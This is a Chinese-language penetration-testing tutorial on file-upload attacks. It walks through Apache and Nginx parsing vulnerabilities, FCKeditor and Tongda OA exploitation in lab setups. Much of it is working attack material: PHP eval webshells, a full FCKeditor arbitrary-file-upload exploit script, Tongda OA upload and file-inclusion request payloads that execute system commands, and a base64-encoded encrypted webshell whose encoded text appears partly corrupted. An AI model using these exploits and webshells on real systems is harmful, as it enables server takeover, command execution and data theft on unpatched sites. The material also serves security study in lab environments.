**前言:**先判断中间件,是否有解析漏洞,字典扫描拿到上传点,或者会员中心,有可能存在文件上传的地方,而后测试绕过/验证,根据实际情况判断是白名单、黑名单还是内容其他的绕过,绕过/验证和中间件的解析漏洞也不行的话就看看CMS是否存在漏洞,然后看看编辑器漏洞有无以及其他漏洞如CVE漏洞。

涉及知识
各个平台解析漏洞讲解
📎web中间件常见漏洞总结.pdf
IIS,Apache,Nginx
主流web服务器:Apache、IIS、Nginx
Apache
Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。Apache HTTP Server(简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩展,将Perl/Python等解释器编译到服务器中。Apache源于NCSAhttpd服务器,经过多次修改,成为世界上最流行的Web服务器软件之一。
IIS
IIS(Internet Information Services) 是一个支持HTTP和FTP发布服务的Web服务器。它是由微软开发的web服务器,需要收费,主要用来跑asp.net asp php,只能在windows下运行
Nginx
Nginx是lgor Sysoev为俄罗斯访问量第二的rambler.ru站点设计开发的。从2004年发布至今,凭借开源的力量,已经接近成熟与完善。
Nginx功能丰富,可作为HTTP服务器,也可作为反向代理服务器,邮件服务器。支持FastCGI、SSL、Virtual Host、URL Rewrite、Gzip等功能。并且支持很多第三方的模块扩展。
目前apache和nginx好像还没有看到像IIS一样的可视化配置。在windows和linux上,apache和nginx 都是以编辑配置文件的形式来配置。
各个 WEB 编辑器安全讲解
网站后台里面有操作添加文字等类似功能的时候,有些网站会套用第三方的编辑器去对文章、图片、音频等进行相关处理。如果一个网站里面有编辑器的话,那么这个编辑器是什么类型,有没有漏洞,也会成为我们利用的条件
一些网站也可通过扫描获得编辑器信息,在其它地方不能突破时可以利用编辑器的漏洞进行getsell,可以在网上搜索相关编辑器漏洞利用即可。
大部分的编辑器漏洞都是文件上传漏洞,或者归类于第三方软件漏洞。这里和文件上传配合使用,归类为文件上传漏洞一类
WEB 编辑器漏洞手册
WEB编辑器漏洞手册
有的网站中可能嵌入第三方web编辑软件比如:fckeditor、ewebeditor、ckeditor、kineditor等。
一些网站也可通过扫描获得编辑器信息,在其它地方不能突破时可以利用编辑器的漏洞进行getsell,可以在网上搜索相关编辑器漏洞利用即可
各个 CMS 文件上传简要讲解
wordpress,phpcms
WordPress:https://baike.baidu.com/item/WordPress/450615?fr=aladdin
phpcms:https://baike.baidu.com/item/phpcms/1997053?fr=aladdin
演示案例
几种中间件解析漏洞简要演示
参考中间件解析漏洞PDF
IIS6/7解析漏洞简要说明——本地搭建
搭建教程:本地搭建iis服务器
Apache配置安全——vulhub
Apache解析漏洞——低版本
漏洞
在低版本的apache中,若文件后缀x.php.xxx.yyy,在服务器先识别.yyy后缀,发现不识别,就向前解析,直到识别为止,最终识别解析为php文件
利用场景
若探测到服务器中间件Apache为较低版本的话,我们利用文件上传,上传一个不被识别的文件后缀,利用解漏洞规则成功解析该文件,文件中的后门代码就会被触发。
漏洞复现
准备两个后门文件,一个正常php后缀,一个php.xxx后缀。假设二者已经绕过文件上传的过滤机制成功上传,进行访问


成功解析shell.php.xxx:

Apache HTTPD 换行解析漏洞(CVE-2017-15715)——vulhub
漏洞
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
漏洞复现
启动漏洞环境


准备shell.php文件
1 2 3 4
| <?php @eval($_POST['shell']); phpinfo(); ?>
|
上传一个名为shell.php的文件,POST提交参数name值为evil.php,被拦截:

在上述POST提交的文件名evil.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A,可使用十六进制数据格式修改添加),不再拦截:

访问刚才上传的IP:8080/evil.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:

Nginx 文件名逻辑漏洞(CVE-2013-4547) ——vulhub
漏洞
影响版本: Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:
1 2 3 4 5 6 7 8
| location ~ \.php$ { include fastcgi_params;
fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name; fastcgi_param DOCUMENT_ROOT /var/www/html; }
|
正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。
而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。
fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。
所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。
再举个例子,比如很多网站限制了允许访问后台的IP:
1 2 3 4
| location /admin/ { allow 127.0.0.1; deny all; }
|
我们可以请求如下URI:/test[0x20]/../admin/index.php,这个URI不会匹配上location后面的/admin/,也就绕过了其中的IP验证;但最后请求的是/test[0x20]/../admin/index.php文件,也就是/admin/index.php,成功访问到后台。(这个前提是需要有一个目录叫“test ”:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)
漏洞复现
环境启动后,访问http://your-ip:8080/即可看到一个上传页面。

这个环境是黑名单验证,我们无法上传php后缀的文件

需要利用CVE-2013-4547。我们上传一个“webshell.jpg ”的图片马,注意后面的空格:

访问http://your-ip:8080/uploadfiles/webshell.jpg.php, 并抓包, 修改为webshell.jpg…php, 在Hex选修卡中将jpg后面的两个点2e改成20,00,点击Go,如下。
==/////////////////////////////////////==
访问http://your-ip:8080/uploadfiles/webshell.jpg[0x20][0x00].php,即可发现PHP已被解析:

注意,[0x20]是空格,[0x00]是\0,这两个字符都不需要编码。
Nginx解析漏洞 ——vulhub
见上一节
几种常见web编辑器简要演示
FCKeditor exp利用
fckeditor的构件组成如下图所示

但在实际情况下web编辑器是这样的

EXP源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); define(STDIN, fopen("php://stdin", "r")); $match = array(); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); print $resp; return $resp; } function connector_response($html) { global $match; return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201))); } print "\n+------------------------------------------------------------------+"; print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |"; print "\n+------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] host path\n"; print "\nExample....: php $argv[0] localhost /\n"; print "\nExample....: php $argv[0] localhost /FCKEditor/\n"; die(); } $host = $argv[1]; $path = ereg_replace("(/){2,}", "/", $argv[2]); $filename = "fvck.gif"; $foldername = "fuck.php%00.gif"; $connector = "editor/filemanager/connectors/php/connector.php"; $payload = "-----------------------------265001916915724\r\n"; $payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n"; $payload .= "Content-Type: image/jpeg\r\n\r\n"; $payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n"; $payload .= "-----------------------------265001916915724--\r\n"; $packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $payload; print $packet; if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n"); else print "\n[-] Job done! try http://${host}/$match[2] \n"; ?>
|
现成exp利用方法
将该EXP命名为fck.php,将该文件拖到PHP的安装目录

在该目录打开cmd,或者创建当前会话cmd.bat打开

利用PHP的EXP进行执行



利用该exp进行自动文件上传成功,提示尝试访问的地址如下所示
!
该地址下出现了上传的包含后门代码的脚本,即成功上传后门

如何判定对方使用fckeditor编辑器
使用工具进行目录扫描发现
inurl进行搜索,搜出使用该编译器的网站

ueditor 漏洞利用
https://zhuanlan.zhihu.com/p/85265552
CMS 文件上传简要演示——通达 OA 系统
下载后安装,启动该系统

默认用户admin密码为空。
一般情况下,右键鼠标打开源码,可以查看目标使用的是什么OA系统

任意命令执行漏洞
路径为:ispirit/im/upload.php
抓包构造POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| POST /ispirit/im/upload.php HTTP/1.1 Host: localhost:999 Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5 Cookie: PHPSESSID=123 Connection: close Content-Length: 660 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="UPLOAD_MODE" 2 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="P" 123 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="DEST_UID" 1 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg" Content-Type: image/jpeg <?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> ------WebKitFormBoundarypyfBh1YB4pV8McGB--
|
发送POC:

查看上传成功的文件:

前台文件包含漏洞:修改数据包,包含前面上传的jpg木马文件,即可实现执行任意命令。此处执行命令“net user”
1 2 3 4 5 6 7 8 9 10 11 12
| POST /ispirit/interface/gateway.php HTTP/1.1 Host: localhost:999 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 json={"url":"/general/../../attach/im/2108/1005943624.jpg"}&cmd=net user
|

执行命令“ipconfig”:

2.getshell
前台任意文件上传漏洞:抓取任意数据包,修改数据包进行重放,上传后缀为jpg的木马文件(木马文件执行写入文件操作)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5 Cookie: PHPSESSID=123 Connection: close Content-Length: 1398 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="UPLOAD_MODE" 2 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="P" 123 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="DEST_UID" 1 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg" Content-Type: image/jpeg <?php $fp = fopen('shell.php', 'w'); $a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC ÿ 4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+"); fwrite($fp, $a); fclose($fp); ?> ------WebKitFormBoundarypyfBh1YB4pV8McGB--
|

查看生成的图片:

前台文件包含漏洞:修改数据包,包含前面上传的jpg木马文件,会在/webroot/ispirit/interface/目录下生成一个 shell.php 文件。
成功执行:

查看/webroot/ispirit/interface/目录生成的shell文件:

用冰蝎连接,/ispirit/interface/shell.php用冰蝎连接,http://localhost:999/ispirit/interface/shell.php
密码为:pass

漏洞分析
该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。
附:
https://www.cnblogs.com/twlr/p/12989951.html
通达OA系统傻逼上传漏洞分析,可以直接getshell附EXP
注意引号问题

文件上传漏洞的渗透思路——即本章思维导图
上传点:当我们拿到一个网站可通过扫描或手动查找是否有文件上传的地方,比如会员中心等地方,进行上传及绕过过滤验证
中间件解析漏洞:也可通过数据包或指纹识别是何种中间件,如是低版本可以利用一些解析漏洞上传文件,进行黑白名单绕过测试。
CMS:再者知道是何种CMS的话可以利用CMS的漏洞。
编辑器:一些网站使用第三方的编辑器,可以寻找编辑器的漏洞进行突破。
CVE:再者也可以找一些CVE编号漏洞进行利用。
涉及资源
编辑器漏洞手册
https://www.jb51.net/softs/75619.html
📎web中间件常见漏洞总结.pdf
链接:https://pan.baidu.com/s/1eLjH_88fhXAw3ZwE7kVRbA 提取码:ywek